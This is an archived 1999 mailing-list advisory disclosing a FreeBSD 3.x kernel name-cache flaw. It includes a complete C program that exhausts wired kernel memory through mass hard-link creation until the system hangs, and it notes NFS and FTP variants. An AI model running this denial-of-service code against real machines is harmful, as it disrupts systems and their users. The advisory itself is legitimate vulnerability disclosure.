The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


FreeBSD-specific denial of service


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Tue, 21 Sep 1999 15:50:58 -0400
From: "Charles M. Hannum" <root@IHACK.NET.>
To: [email protected]
Subject: FreeBSD-specific denial of service

[Resending once, since it's been 10.5 days...]

Here's an interesting denial-of-service attack against FreeBSD >=3.0
systems.  It abuses a flaw in the `new' FreeBSD vfs_cache.c; it has no
way to purge entries unless the `vnode' (e.g. the file) they point to
is removed from memory -- which generally doesn't happen unless a
certain magic number of `vnodes' is in use, and never happens when the
`vnode' (i.e. file) is open.  Thus it's possible to chew up an
arbitrary amount of wired kernel memory relatively simply.

What strikes me as funny about this is that the relevant code in
4.4BSD-Lite, which was in FreeBSD up through 2.2.8, was *not*
susceptible to such an attack, and all of the code to prevent it was
intentionally removed.

I ran this on a machine running FreeBSD 3.2-RELEASE with 256MB of RAM,
and it chugged along to about `02/03000' (meaning it created 3 files
and about 63000 or so links), consuming a whopping 34MB of wired
kernel memory (according to `top'), before all file system activity
came to a screeching halt and the machine was unusable.

This exploit does not affect Linux 2.0.36, or any version of NetBSD.
I have not tested Linux versions >=2.1 (which have a different
implementation of the equivalent code from 2.0.36), but based on code
inspection, I do not believe it to be vulnerable to this particular
attack.

Note that, although it may seem like setting quotas is a good solution
to this problem, if the FreeBSD system is acting as a NFS client, it's
possible to use a variant of the attack that only creates one file and
keeps at most one link to it at any given time.

Also note that it may be possible to exercise this against a FTP
server with a writable directory if the server has a way of creating
hard links.  (I'm not aware of any that do, but I point this out for
completeness.)

-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>

#define	NFILE	64
#define	NLINK	30000
#define	NCHAR	245

int
main()
{
        char junk[NCHAR+1],
             dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1];
        int i, j;
        struct stat sb;

        memset(junk, 'x', NCHAR);
        junk[NCHAR] = '\0';
        for (i = 0; i < NFILE; i++) {
                printf("\r%02d/%05d...", i, 0),
                fflush(stdout);
                sprintf(dir, "%02d-%02d", i, 0);
                if (mkdir(dir, 0755) < 0)
                        fprintf(stderr, "mkdir(%s) failed\n", dir),
                        exit(1);
                sprintf(file1, "%s/%s%03d", dir, junk, 0);
                if (creat(file1, 0644) < 0)
                        fprintf(stderr, "creat(%s) failed\n", file1),
                        exit(1);
                if (stat(file1, &sb) < 0)
                        fprintf(stderr, "stat(%s) failed\n", file1),
                        exit(1);
                for (j = 1; j < NLINK; j++) {
                        if ((j % 1000) == 0) {
                                printf("\r%02d/%05d...", i, j),
                                fflush(stdout);
                                sprintf(dir, "%02d-%02d", i, j/1000);
                                if (mkdir(dir, 0755) < 0)
                                        fprintf(stderr, "mkdir(%s) failed\n", dir),
                                        exit(1);
                        }
                        sprintf(file2, "%s/%s%03d", dir, junk, j%1000);
                        if (link(file1, file2) < 0)
                                fprintf(stderr, "link(%s,%s) failed\n", file1, file2),
                                exit(1);
                        if (stat(file2, &sb) < 0)
                                fprintf(stderr, "stat(%s) failed\n", file2),
                                exit(1);
                }
        }
        printf("\rfinished successfully\n");
}
-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру